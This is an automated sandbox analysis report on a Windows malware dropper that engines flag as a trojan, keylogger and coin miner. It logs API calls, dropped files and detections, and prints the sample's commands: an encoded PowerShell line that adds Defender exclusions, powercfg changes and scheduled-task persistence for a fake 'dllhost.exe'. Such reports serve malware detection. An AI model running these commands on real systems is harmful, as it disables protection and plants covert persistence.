NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0050b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00845000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00846000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 1769472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02710000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02880000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6f1d1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0259a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6f1d2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02592000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02881000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02882000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0260a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0261b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02617000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0259b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02602000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02615000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 8, 2023, 1:59 p.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0260c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (1 event)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW July 8, 2023, 1:59 p.m.	total_number_of_free_bytes: 0 free_bytes_available: 9930280960 root_path: C:\Users\test22\AppData\Local\Temp\main total_number_of_bytes: 0	1	1	0

Creates executable files on the filesystem (7 events)

file	C:\Users\test22\AppData\Local\Temp\main\7z.exe
file	C:\Users\test22\AppData\Local\Temp\main\7z.dll
file	C:\Users\test22\AppData\Local\Temp\main\extracted\4343.exe
file	C:\Users\test22\AppData\Local\Temp\main\KillDuplicate.cmd
file	C:\ProgramData\Dllhost\dllhost.exe
file	C:\Users\test22\AppData\Local\Temp\main\main.bat
file	C:\ProgramData\Dllhost\winlogson.exe

Creates hidden or system file (2 events)

Time & API	Arguments	Status	Return	Repeated
SetFileAttributesW July 8, 2023, 1:59 p.m.	file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: C:\ProgramData\Dllhost\ filepath: C:\ProgramData\Dllhost\	1	1	0
SetFileAttributesW July 8, 2023, 1:59 p.m.	file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: C:\ProgramData\HostData\ filepath: C:\ProgramData\HostData\	1	1	0

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\main\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (6 events)

cmdline	"cmd.exe" /C powershell -EncodedCommand "PAAjAGgAdQBwAE8AMwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFcAMgBmADkAMgAxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAFMAYgA2AFoAaAB1AGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQA3AFYAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	powershell -EncodedCommand "PAAjAGgAdQBwAE8AMwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFcAMgBmADkAMgAxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAFMAYgA2AFoAaAB1AGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQA3AFYAIwA+AA=="
cmdline	SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\main\7z.exe
file	C:\Users\test22\AppData\Local\Temp\main\4343.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\main\4343.exe

A process created a hidden window (4 events)

Time & API	Arguments	Status	Return
ShellExecuteExW July 8, 2023, 1:59 p.m.	show_type: 0 filepath_r: main.bat parameters: /s filepath: main.bat	1	1
CreateProcessInternalW July 8, 2023, 1:59 p.m.	thread_identifier: 2860 thread_handle: 0x00000348 process_identifier: 2856 current_directory: C:\Users\test22\AppData\Local\Temp\main filepath: track: 1 command_line: "cmd.exe" /C powershell -EncodedCommand "PAAjAGgAdQBwAE8AMwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFcAMgBmADkAMgAxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAFMAYgA2AFoAaAB1AGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQA3AFYAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000354	1	1
CreateProcessInternalW July 8, 2023, 1:59 p.m.	thread_identifier: 2692 thread_handle: 0x000007b8 process_identifier: 2680 current_directory: C:\Users\test22\AppData\Local\Temp\main filepath: track: 1 command_line: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000007bc	1	1
CreateProcessInternalW July 8, 2023, 1:59 p.m.	thread_identifier: 2876 thread_handle: 0x000007bc process_identifier: 2872 current_directory: C:\Users\test22\AppData\Local\Temp\main filepath: track: 1 command_line: "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000007b8	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 8, 2023, 1:59 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (20 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:59 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 8, 2023, 1:59 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (33 events)

description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communications over P2P network	rule	Network_P2P_Win
description	Communication using DGA	rule	Network_DGA
description	Steal credential	rule	local_credential_Steal
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	task schedule	rule	schtasks_Zero
description	Escalate priviledges	rule	Escalate_priviledges
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Take ScreenShot	rule	ScreenShot
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Following Rule is referenced from AlienVault's Yara rule repository.This rule contains additional processes and driver names.	rule	vmdetect_misc
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	File Downloader	rule	Network_Downloader

Terminates another process (9 events)

Time & API	Arguments	Status	Return
NtTerminateProcess July 8, 2023, 1:59 p.m.	status_code: 0xffffffff process_identifier: 1608 process_handle: 0x000007bc		0
NtTerminateProcess July 8, 2023, 1:59 p.m.	status_code: 0xffffffff process_identifier: 1608 process_handle: 0x000007bc	1	0
NtTerminateProcess July 8, 2023, 1:59 p.m.	status_code: 0xffffffff process_identifier: 2204 process_handle: 0x000007dc		0
NtTerminateProcess July 8, 2023, 1:59 p.m.	status_code: 0xffffffff process_identifier: 2204 process_handle: 0x000007dc	1	0
NtTerminateProcess July 8, 2023, 1:59 p.m.	status_code: 0xffffffff process_identifier: 2872 process_handle: 0x000007dc		0
NtTerminateProcess July 8, 2023, 1:59 p.m.	status_code: 0xffffffff process_identifier: 2872 process_handle: 0x000007dc	1	0
NtTerminateProcess July 8, 2023, 1:59 p.m.	status_code: 0xffffffff process_identifier: 2680 process_handle: 0x000007e4		0
NtTerminateProcess July 8, 2023, 1:59 p.m.	status_code: 0xffffffff process_identifier: 2680 process_handle: 0x000007e4		3221225738
NtTerminateProcess July 8, 2023, 2 p.m.	status_code: 0xffffffff process_identifier: 2648 process_handle: 0x000002c4		0

Uses Windows utilities for basic Windows functionality (6 events)

cmdline	main.bat /s
cmdline	attrib +H "4343.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe"

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 048c93d6ccd3c6d9d6a5fe0e57f2481b0703e62f

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation July 8, 2023, 1:59 p.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

4343.exe tried to sleep 2728196 seconds, actually delayed analysis time by 2728196 seconds

Installs itself for autorun at Windows startup (4 events)

cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3555" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2204 resumed a thread in remote process 2648
NtResumeThread July 8, 2023, 1:52 p.m.	thread_handle: 0x000000000000006c suspend_count: 0 process_identifier: 2648	1	0	0

File has been identified by 33 AntiVirus engines on VirusTotal as malicious (33 events)

Bkav	W32.AIDetectMalware
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.68020843
FireEye	Trojan.GenericKD.68020843
Malwarebytes	Trojan.Dropper
Sangfor	Trojan.Win32.Agent.Vkem
Arcabit	Trojan.Generic.D40DEA6B
Cyren	W32/Dropper.EM.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	Win32/Packed.7Zip.AI
Cynet	Malicious (score: 99)
Avast	Win32:Malware-gen
ClamAV	Win.Keylogger.Gencbl-9969771-0
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Trojan.GenericKD.68020843
Emsisoft	Trojan.GenericKD.68020843 (B)
F-Secure	Trojan.TR/AD.CoinMiner.rxdbb
DrWeb	Trojan.BtcMine.3634
McAfee-GW-Edition	Artemis!Trojan
Sophos	Mal/Generic-S
Avira	TR/AD.CoinMiner.rxdbb
MAX	malware (ai score=88)
Antiy-AVL	Trojan[Packed]/Win32.7Zip
Gridinsoft	Trojan.Agent.dd!c
Microsoft	Trojan:Win32/Casdet!rfn
ZoneAlarm	UDS:DangerousObject.Multi.Generic
GData	Win32.Trojan.Agent.JX8ESL
McAfee	Artemis!197CF1B5F522
Cylance	unsafe
Fortinet	W32/PossibleThreat
AVG	Win32:Malware-gen
DeepInstinct	MALICIOUS
CrowdStrike	win/grayware_confidence_60% (D)

conhost.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All